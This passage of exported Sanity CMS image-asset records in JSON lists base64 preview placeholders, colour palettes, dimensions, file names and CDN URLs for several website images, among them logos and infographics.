Rto1DB2B/2vr6HjOI5hbCeKxZKPIl1YWGph3EKiTSkWu9RSORYLys5Pp+IQ6OUgOp6FkmSAbbnNIHXQ3Yds23EoUkqf55OPsUePhA69XA4Ym1UjclvG86/OQPfBSbj07ixOXU1BKrYBWr6Ctul6GdN0XcBN1YR8ahN0pYLVimnouh5Ip4R2Jkk533alwpsVGymqC0dCcPzAGHY/NwlD7/+NgV4Ox4fXkA8XkS5vaSZmVnSY/m0dRy8mIPGwCGbVRsKQpNwZRjQwTUt1bBdTcRX8PYtw9qV78MULf+FAZxi/ORrCvlem8fJHEbx7LY3hP0X09yziV4fuw0BnGObvyGBVHWqSqhRKE4y4RXSg0myXLS/FiStrcPXzGF45No8XjoTw0yfG8dQzQbz49ixe/jCCX754F48fGIP+wzMQuV0DtB3b3NjQJEaEJY7VKQGO7YJWqODafAlnfhdw5EQUfc9P4cmngth/eAYH3niAp5+dxJNPB/HHDyKwElLAsVzquKtp5ep/AOuFR9tyUVzW8OYAj9+/GcavD93Hwa6H+MN7c/hdZxivnY7j3KgEam4bwAW0G4CNlBuAzZQjQKrXt68/wEvvzOIvvgW8M5T06rjOaUAlch0vCCQMVdWkelNMtRZcDbNBjVRcxeFj816KvS/fQ/9ZDpNzJTR0C+tA0EiMMBSlNMFI6KRNklMTIIILsM5pOHJi3mvKZ09O4MgnURQ4rVGanRK5rguEQViMXIOETtqk/eaUFdGAsaEknH8thN0HJ3H44wgQtSj65nOWZRmEkU6L7YwsiGRD8iFtNpfSqjiQXStD6LoAP3fH4Y/+ZRCXNWrCjvQcx5NedEd65GckbHINEjodaGTkpeMAbGkmpQ+rs0WSYUPPRBWb7tDdHXMgyyHrEYTMPtqg1ygFqmkd2BuuA0gEJkVRzer2Fa3b1z6O4/d49kWmeO7cDQ+UXqHQmw3WsuoG6/yfwfJ7BgeHWCYjM+b33/RACT0eX2qhOlBxqWNEA+KWrpWrRFp1Q5NorfYJENrpLN3Z/QTcYP8AvdtRhOm54ggAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444454","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b194ce","foreground":"#000","population":2.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b194ce","foreground":"#000","population":2.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7e4fc","foreground":"#000","population":0.48,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9084a5","foreground":"#fff","population":1.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#893edc","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-aiven-provider-for-terraform.svg","path":"images/sczeoy4w/production/525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48.svg","sha1hash":"525dd6662e1da8aeeccdb5644dc13b50ba82f402","size":503,"uploadId":"3S9RzhI7TfTCKLRrgN5PpKUkTKlZoLJS","url":"https://cdn.sanity.io/images/sczeoy4w/production/525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48.svg"} {"_createdAt":"2022-11-16T12:02:37Z","_id":"image-c5c13537c7b2e5c960fd91772c976853ccdb239e-2500x2542-png","_rev":"YI3rks3mbRtnzMpdn9HmsE","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T12:02:37Z","assetId":"c5c13537c7b2e5c960fd91772c976853ccdb239e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eaN0J1.T00vzJ7.7NfM|t2jZ00R4T1WT$#Vst3EMr?tP9ZM{-px]xY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.983477576711251,"height":2542,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAEwElEQVQ4jW2Ue1BUZRjGXwQTr5kJA5ipU1bqqKHhKHJXkeUiRVbM6IglioIjCruAOqXV5AXNy0w6dpnJyqk/ypycnCQr8cKEulx3ERZ2B9g1bAQc3WVh2d3zPM3ZFa3Jd84z7/fHOb953sv5hKQMCYD/rGbzEaHtO2F9/nAadYk06g7SqMuDURfG7sMyoL4XLCJCGTE7V+TFAomJyZCHsP/JaR1GMpBtByJoLC2hQVtPg7aCRt1qGLShyvGXArlrWBAPyzAVenTlDKnfNOGxwFEEphFYTFJD+82N7Dx5Hqa9/Wja4YBRV4GGbTk4vWx6X0lwSE1+6OiczFQflF+rhh+VG0jyGZJZBD4G8DOBKnqdBvZZethd6WXnl0TLh3bWFV70VrxZpN8XG7ViWVrYiNm5I2ckbwqQ8OMy1De1vGkkCwFcBHCHwCAABWooHsDjABxtgO0HoH5nX1/l+qtVpzZo8wvz54yPyhutyc4LIHeIKIqiQkMA5AG4DsAFgI+kPg+kuAG7BW7TV7hzpazv5i9bLxvPF+feulQcxnadkB/5HKruYgGcAeB8AHpsUA2vCwO2GnRfOcTuy1r7QJ1vUKto1IV6GrQBarljAOQDaP03TP1Wze7BQTidTrrdbiqKAq/XS8/ftzB45Rt4L5UCDcXqoH6FQZtNo268Cgx3u937HQ5H993eXvb09KBXVW+vmtnZ0cHm5mZaO6283dXFv7q6YLfaiN/OgD9tV6gvcqNJ10aDdhcN2ikqcKrD4fjEbDbfq6+rY11tLfR6Pepqa2lobKT+xg1WXa3itepqVdDX1KCrpZWes2c9/KzsFioLL+BmyX40apNh0D6pAiPs9+8fsJjNPSaTieY2M4wGA0wtLbDZbFTV0dFBi8VCS5sZnVYr7rV30vvtaQe1237E8dzX0LFzCq8VjaK+2LeHY10u1xa73W7pdzrpcrngsDt8ffN4PP6eeTz0uN3wyeuF0m4ljnzRw8x15YhKnczQSQLfPu/2AQMBJPkWmRwYGoZvZ/yh5kfnwUHw8p/k1vfaGf/GVkZmPAUJFRasDsCFwod/ShgVbyG8HgOgeB/u3X93BvB4AFMrcfiYG1lrf+eiDA2SVz/BcUmChZmCohwRnsoVRXXp6J6JnvZy3LVZ2X8P9Hr8ZlVXihdw2MEmA/npCQVrcs1IzHiX0enP0kDh0gThohXCBVkiqNgnytGFolzYG8yKvYmoPHFSqTlrVUzX3OhoItubiMZq8tz3ZPn7LuasakWy5hDjls9nwqvDGfm6ME4jiNUIo7JEXJtF3LtCA1giY5Xt46bf+SAm6/bBNYf6TxT+gc9LW3isxIY9BTZsyW7mWynnmJJQyqSkSCZpgjlSI0xKFCZo/O581+MeEZbJ8AFdUHj1hpDnS1KiZu5PXbyw/e2X07hh7nqsnVeG7PmlzJy3jilR8UyJiWD68iDOihPGxQuXaISL04SLMh4AKcLdEtSwaULIek3cc+Mj35kqMzdPKI+eG8z0MWOVjIiJyHzhaa5cMIbr0gMpItBEC+KXCxPShGqO1fhhvojYIbwuUpAaPSo8ctWkoFm5IRNf2Rg02Xe5+4XRIpwzUqARwZIE4dIkPyg+WZi4xJeH4h+WjzsEgF+SrAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394c39","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b0a07","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fad474","foreground":"#000","population":6.03,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c2ac","foreground":"#000","population":0.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad474","foreground":"#000","population":6.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a49d6e","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65c12","foreground":"#fff","population":0.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Paperlust-logo-image-composition.png","path":"images/sczeoy4w/production/c5c13537c7b2e5c960fd91772c976853ccdb239e-2500x2542.png","sha1hash":"c5c13537c7b2e5c960fd91772c976853ccdb239e","size":116920,"uploadId":"0rSLv2Z1VXeXdJxlYnIMEztkXvlrbdqX","url":"https://cdn.sanity.io/images/sczeoy4w/production/c5c13537c7b2e5c960fd91772c976853ccdb239e-2500x2542.png"} {"_createdAt":"2022-07-20T13:15:43Z","_id":"image-22232dcc1a14d005a5fe4425f624df7c33fd8e4a-1200x1200-png","_rev":"6dL6g4nysEm9xfErohQHZL","_type":"sanity.imageAsset","_updatedAt":"2022-07-20T13:15:43Z","assetId":"22232dcc1a14d005a5fe4425f624df7c33fd8e4a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcSAAAXEgFnn9JSAAAFf0lEQVQ4jVXUeUwTVhwH8K8cuiFTZlDBORczj0U3k2VOF+eccRtLSJzKjEYOAQs9YHKo3FNRI6govZByV0GOCaKIUEEOHcpAKyAtMphHRSmXpQUUufp+Synu+CW/vPfHe5+837tApQ5gCgeQwvH/Wfpv/21EoRtB6IIAXQhGF46jB854Dg90whtacKAFqGy+ebKpLfwIVD0HrHQ+WNUakDoUTBWC8QdhMNyLRGtFNC5lxyBi5X3QxiG4Wb+AGzqxG53wgnYSBZVMraZ0wWSaMCMRmDoKxuYQUIsz6NFWULsr6N5ONFRqcLfoOpKDn4P/TpclB9oZ3tBae6JzEgcpzCWzyfIcrJjCcQYpFlhSexwqyvNBzXutqMXPhtR7bUaUgVYkAa5dqEMYNBYB0M7kQ2tnQl1NGFzNoGkfJ/O6gw0pHOxZ6QI7VrttFqn2LZlQRTrp7x91b6uOdS/LP+2UmSFZci78xuz4Vb1zox17HYKnd83iQGvJ3dCDEHRPgQTQ9WWgMsfprGy+Pbv11XLW4LNtQhURb3gQV9Vem6y6WZKqKshNqSrKST9VLirxkntpvIUu/ZtOb9bNlgaNI33/AA4u7zVBDqDfV4AeHgPlAKze2Y4adruwJsHl102Hup8p08cbai4aK0uyjcUFWSO3L53XKDMK7l2KenBXxu8RiXwGPs3+tX1aMb6EhGeA+cqogsFMJ7oVYC2hS6jJP95Y59Hdf5NPLVVCY2N1yqiyXDZce+X8SMsV+Zv2fPlopahqXL7/2X2xr8FNytPNPLV7BGJf/VTJ6hCw1iiQkmvFWsKc6D6/ipU7jffnrWaNF1yM1TlBo9UXY94oC5PHHl9NmXh6NdlYn15EuVGt3Ql83TGRz4Bj9HYyg6Yg1QFQaxRYU6ANU4e6s3qOyli0ll6l2rPHiYtZdZKLsSgj2lhfIGZPihPZoytp7K78CuUfVg0k+vXJhJzBJdx1BAnX8BYMAbVGgDUF2JA61N14l9s8cnU906XMY+3SxawycTvLSTzEbmSepoeXE6m14ByrTblGvx1sGTwr6EsWcgaXmsGpFZpeA6kDMa7kWpE67IexxgMVAzc9Rtuzv2VFcT+yuChvFhkSwJJOHWF/5CSx5twsViUpp6ywR70JfF2MyMfwwbGd/wFJfQCv2lJRlhMBagn5eFgde6KnQdyhVJxksvgI5i/gMw+P3RQdHs7K0+SsLu0SK46pYenBmmYJV+8l4RpsT3oY/wX7bsah9WoeNLIYdBQn2LZWFLqpaiuVNdXXJ5KSzrJ9+4IYj8djxyKOssIzJuwOZYc36zOC2jLTAtpWZ4U3WkiOaJAc8NQMSnn9yIzUQOg8jETuS5vcE3/tKMlS1ZUW3plIlWXRkYOnKDosnoSROSSPrGMZ+57o0vyfKvKDq72bhEEL6U9YNRd7IANkBlMCtJAIDDi8gSDmvJqRtL9rXebxp+IL8eom2dFbvWcOlA8Jg24PSQKa+xL8n6kS+C/Tk31fbK/zFy6bOPOJAyucZztW976F6cVNxllBHxL9+pA09gtkfjok+PXaygJ7V8mCtJ4J/I7TUq+OTKmnNkPC6T0h5ur2iH0Nn6fseT7r9ZYt7zLuWjt25DNbkn9oQfJFZlDsa4CEp4fIcwyxYa+QENgFyUayOP/N6zlZXw+tTP9u8IuzLoMrxF6DC6U8w3tJgh6L/F21GF2za5rx+83W9PMmK8ZbB9rq9BbUQ8rX44zrGArXDiI0T4PBRW14jJ7pjeiZWQvNdFM10p8IIo4RsT4EiUAHqbAdBB4mkAcGAtnv+ed3h5irh8TXABUMMGAAFUsNuD3XYFEzV2+pWK6fFhush9TbNEYPEXcA+TvugbasxwvTT4UOMAyDrAX4G2LMR+2DXAgjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#605a3d","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#614812","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f09c0f","foreground":"#000","population":2.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4d9","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d27c","foreground":"#000","population":2.28,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36679","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f09c0f","foreground":"#000","population":2.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hand-building-block.png","path":"images/sczeoy4w/production/22232dcc1a14d005a5fe4425f624df7c33fd8e4a-1200x1200.png","sha1hash":"22232dcc1a14d005a5fe4425f624df7c33fd8e4a","size":356300,"uploadId":"7OvszfOaFmJJ6c3K5M7DmRRe20Oa0uXX","url":"https://cdn.sanity.io/images/sczeoy4w/production/22232dcc1a14d005a5fe4425f624df7c33fd8e4a-1200x1200.png"} {"_createdAt":"2022-07-25T15:49:57Z","_id":"image-28a296d872950a6c17ef0b90eed57cddd6b2cfcf-2500x1625-png","_rev":"ckgiwlcIm7aocoF4PmhcXO","_type":"sanity.imageAsset","_updatedAt":"2022-07-25T15:49:57Z","assetId":"28a296d872950a6c17ef0b90eed57cddd6b2cfcf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTKUcw-;4;%Mv_~qt7IpkWng00Rjs.M{R-IUj[RjRjV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5384615384615385,"height":1625,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEFElEQVQ4jUXP+08bdQAA8C/j2bVlCZjNbVGjiSROmIy5MGOiM/th/DSjiWyDdEz5QYIPKBQmj1HoNp4bMsAYl+FeiEQMRI2yIY9tSgv0ARVooR3eHaV313u313uVlpr95D/wST4AAAfYwGXwyCWmzK6Lh8zrYr7FI2bSmBsIuDVNwK3ZAm7LDxMr+xiOT6FpKglG6QSzR9pnXhffMnukLItXTp5dF4HFKwNA0FxyPBJMW/NLB+afyh9bvHLd/IaSjbimgEI6MiXC/olEOjsVEqqIEJhOYak3WZ5XmT3yUYtXbrJ4lY8W/o1oRhdjYAUREoAYDuZsC1ghx9GfLfuUb21Q9O4aqpwJBoVcnt48odDOdoVZnZYJaEZGN8cliigjQ3LG3Eb0xAIUvbMAxcrNG3Gtxy+CePwHAMQwd1YJ+YZ4Dn/oQeU/HEh0DMKEVprmmhgSbZTplZsR1jUtkshUGEMnBIZsEXjqnXVULrEjO8N2ZKfCiyn7xSCt8qNUKggF2VNh1t/B0MSA2y//ZIe3h9d9oUq/P1BEYohOoZd7IqxrRiLgKQlHZ+UgOSPz6DBGsiNOX3TyH992e4Dmi1mG/SCAk3kgzHPvSSGsiWOpPrdfGbLD0UG3L1zq82EFFAa9H2GWuyKs67EYgP8SML9DZAmnwG09QgnmGfZkZSvST9KhBoZmDQGcPPWsXKSEfCM8h097UOnBIhIdhXChlaJYI038X5ZIZFIIYJNhhuzl6IDO6w/XOJDY6NJmrAGlhOMcyx7CceogCIWCb/MsWknT5FXXlnLHgcQGn2JSGc0ET3Pk1hmFWe7eZt3TMgHPSqjvsUgReoqX99vgnZM2JH7bisTLbUg83Q5vgweuOAAYvKT1bazsdUNElh2OltjgWPUSIud5vL7dPLF6IMo6dRFmtYvHoXZua7M5hGMFhHtFO7cmHLFCsVorvHN6fiOihuNx8LcTTQDB0YOq3zqOab7p698zYQu8POcJ59hcWy/evzekGf3xtoaALK8EIGve8uJCzty841Xn1ORel/5C+p/3x16YmN/MfWhFX7p573dVrcGYdL1nYBdAf85Wj90ozLhy6WJGbf01zS/jTzTztsXMwcHhjPr6q+ltbb3qW7cG1SZT955PP2/UduhKdps/fDf9bumFzIYaU0b1xbb0akOLpqq6RWWouZwIviw6nFp6rkBbfK5Yqztfnnqj7/vE8YmZpK6u/lR9lTG1ynA5uevad4mtrb0pjZc6UzsMjckj5wuT28q+UOkrGtUVlUZVpd6YVqk3plTqjbvA6zm5qsNvHNHm5R1V5+cfT8p6LRfAyBp47vljwFBjAj3XvwbbyG1QV9cMmhrbwclfvQDE40B3ZQB81dSdUNfQmVBlMAF9VTOoNpjAfyC1sF4gnZ67AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39454c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c3e04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a4b6cf","foreground":"#000","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b6cf","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad894","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7d65","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3b60f","foreground":"#000","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"infographic-event-data-driven-producers-event-processor-consumer.png","path":"images/sczeoy4w/production/28a296d872950a6c17ef0b90eed57cddd6b2cfcf-2500x1625.png","sha1hash":"28a296d872950a6c17ef0b90eed57cddd6b2cfcf","size":78653,"uploadId":"uSyjPIUkO31ulhSkKJhGHrfPQHTIiNaz","url":"https://cdn.sanity.io/images/sczeoy4w/production/28a296d872950a6c17ef0b90eed57cddd6b2cfcf-2500x1625.png"} {"_createdAt":"2022-06-15T20:02:49Z","_id":"image-e10215a88edfaa159d863b6eb68e70ce62306468-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEeLIs","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:53Z","assetId":"e10215a88edfaa159d863b6eb68e70ce62306468","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMR2}WyYofIU%MPXRQWBt5og-:I9Rk%MRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC60lEQVQokS3MSW8bdRiA8fmeXPkCIK4gVZwc2gNqK1QBIchRVZu4baqoS1LcggtNPPbYHjN2PJ7ds/232b3Esd8XsRx+em6P5Hj0c91Y/HStu63Z3PtlNvdOrnX3ZDpzTgwraIZxVmdieciT1aFIV/U0XzWLYnWyXK6erdebN2W1ec2T5XPKq58ZL7+UdGPx41C91uXeOJH7Y9ZXNN4faFzuj7n615z5oSBJtorTtIoTkRNCOXMXAbccV0RxnGZ5mSRJmTCWm5xnLcnzedO0I6EbC/zH3PTRsIJ/azkRElZgkVeYkgBD10DT0HEyHuBk1Efb0JFSgjEjSGicJ5S9lSivnlBeUcJKJKzcE1YC5RVQXgJlJYhkCVWeQx6ZQBwVwvkfsLh6DLPX38Pw/BS0kbyfexoGkZlkNHojMbFsMLFkTCyRiQqYqJDxEjgvkPMcBM8gEykkJIbIUsHpHoHa+gLbDz+Dp/dreH7agrH6ESNzkJbG1VuJ8bLBeMnY/wPOMxQsRcEEpowjJwxNh+NgEqJ82cF3z7/FF0dfY/PRPTx+eB9PG49B/dhGrpxlm/a99xLnWUPwlCUswYSJfcoYZJRARmMoaAgiDEDRInj1pwO/tn+HV0+P4az+CNo/fAcf6kfQu3gJ1qCD+ehldtt58E5KKW2khNCUxJiRaJ+TAAriQ0kWUMUuFJEDvmXDVNNhOuzDqHMOkxfH4LcOgVycgX/Z3dOxgmuzm+ysDxdS4RrNxNY5c3RMfROryMZlbOEqMnEdzXEd6bgOplh5KmaWgnxyiUW/jdvxe6zGMvq/qUivhri1lQwC5UKqZoMHQusp4VRxua1Zy1C3N5Fub8Jr+yac2ttQs7eBam+9rn3jXNprW3a2puzsvZ6zMRRHyAM7Hyruzump6Mt1aWWPPynM0VeppR6UnlbbhNPaTTitbUOtdhuMa7eBWtstlNrO7vzH6x7svN7dnSff3bnyNzunV9u7vQNY9O6g3/v0b4az/P8ZXRyjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44332c","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d4d07","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f29917","foreground":"#000","population":1.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dabec1","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90b7e4","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab5b8d","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f29917","foreground":"#000","population":1.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e10215a88edfaa159d863b6eb68e70ce62306468-1567x844.png","path":"images/sczeoy4w/production/e10215a88edfaa159d863b6eb68e70ce62306468-1567x844.png","sha1hash":"e10215a88edfaa159d863b6eb68e70ce62306468","size":307003,"uploadId":"NMcbmSLFDzXm6Z6hZIbXrdUkI8fZryKy","url":"https://cdn.sanity.io/images/sczeoy4w/production/e10215a88edfaa159d863b6eb68e70ce62306468-1567x844.png"} {"_createdAt":"2022-06-15T20:02:49Z","_id":"image-9cfcf51d46e066421cd0d0515aba7e61ea23fc13-3133x1688-png","_rev":"CK1sLU2mnwa3vmbYWEeIHu","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:40Z","assetId":"9cfcf51d46e066421cd0d0515aba7e61ea23fc13","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRPi#R?^%K4p?a1Ss7%0Itoet7MdozogRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAADOElEQVQokS3MSUwbZxiA4bnmUqnHnnvoveq5PUSKeuaQS1VVrSpRVVWUtFFSxZAWikihC2oFQQ3FgVhJsLEFRWnYDBi8BduxscHLLPaMx+PZ/n88XoZADP6+qrSHV+/tYSqi9jUn1NwsL/tYXp7nhNosy8vuEld9zAnKIico/oqk+eM5zf/ZRG7lrY9Da+9ei60MPmL90UPiV83OIrGcALGceWJ1BplMtjQbiaa4nVDM2g7F9L1IQgtHknpo74UZjiZpIpmj6SxHn2yW6eU7CetSX9B+4+qW9d71OHU9LNC/dnmyHS9ZuYJc1vWGn8nmWF8klvoXw62dKO6G9zEcTWJoN37xwyMeDwo1vPe0hO/0h/FS3zq+eXUN3/50HfsGNvGbn1dwYCKAvmexVlVSgowkmwt8WTFZXkaWl3ucUAO+rADHyxdXNQsEuQGTSyxcuRWED64tQd+3Afjk7gJ89f0s3Bya6o1PLWBwe7+hVaV1xqSO16QOMWkHTdqB/2oDIS0gpAkWbaJhNOBFpoIz3h2cdPvQPefB6ek/cHT4B/zNNQixhx40Egm7rVQ2GGI5XmJ1CKUdpLR9AVjUxgZpYINQtAlByyAoyQamcxym94KYXnbj6vwUPrg3goH+flBu3sZTv98+lgobDKVNr0Vt8j/Qs00CtmlA09ShZajQNupg6TqIVQO4gywoz/6E6oNbEJ6bgGX3DGzduAHVL77ElmfOdoTMBmObptc2DNM2dGwaWq9l1KFtKNAxauDoVXB0EVpaFUz+EOja79D55UOofXcZtqaHYNEzB4HRkV7qp1E0gsuN40pqnWnLgq8hcpRIHNpKGR1NxGO9gq+0Mp5oPJ5oHJ6oLJ6ISeyGfsXz+1dQH3kf9+7fxqXHbvz70QwW17zYKYab53Jqk3G4g0krn0prxXTVEvOVY5UTTzVOPFVL4mu1KHTVPNutH7FnSobtlVZZ2BlnW0+vswXvOPty088K8ed8u7gr9eREDpWUh3klHX7ULmfv2pXceEfOj52qxbHXanGsq+Z/7NaPhs/quYHzetZ1rmRcPeWlC8SIq3v03NU8WHW12fDAmbQ/jLXkGNaSQ1BLfv4PjXvIuhqjuAwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#423b3b","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c94","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f45430","foreground":"#fff","population":3.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb998","foreground":"#000","population":0.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ccdee","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5174a9","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45430","foreground":"#fff","population":3.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9cfcf51d46e066421cd0d0515aba7e61ea23fc13-3133x1688.png","path":"images/sczeoy4w/production/9cfcf51d46e066421cd0d0515aba7e61ea23fc13-3133x1688.png","sha1hash":"9cfcf51d46e066421cd0d0515aba7e61ea23fc13","size":830578,"uploadId":"3M223u1gOe7Tjfj4QgaHCKKjbUCbAeww","url":"https://cdn.sanity.io/images/sczeoy4w/production/9cfcf51d46e066421cd0d0515aba7e61ea23fc13-3133x1688.png"} {"_createdAt":"2022-07-20T13:47:41Z","_id":"image-3d1c9b48b9bf969f2335c4ea43b69fb08a824163-1200x630-jpg","_rev":"qcIblBlYNB041RLlsJxxBf","_type":"sanity.imageAsset","_updatedAt":"2022-07-20T13:47:41Z","assetId":"3d1c9b48b9bf969f2335c4ea43b69fb08a824163","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQQ]H5Pqo4Mc.9KlRjR*t3j^%$e7RjtSM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCAwQH/8QAIxAAAgEEAgAHAAAAAAAAAAAAAQIDAAQFIRESBhQjMVFhkf/EABUBAQEAAAAAAAAAAAAAAAAAAAIE/8QAGxEBAQADAAMAAAAAAAAAAAAAAgEAAxEEEiH/2gAMAwEAAhEDEQA/AO8mDJpfPLHKjwknhHbXFLvFmcuMU1uAQiyEKWG90+jHFy53+1XfWVtdtH5mFJep5HYe1R+S0z6m8yvTrJXV9yOCupbrGRTTj1G538/dFa0UIoVAAo0AKKI3smS3txvUErZOTP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3032","foreground":"#fff","population":2.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c3e07","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f3032","foreground":"#fff","population":2.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c99893","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdd5f","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86475","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f07a11","foreground":"#fff","population":1.69,"title":"#fff"}}},"mimeType":"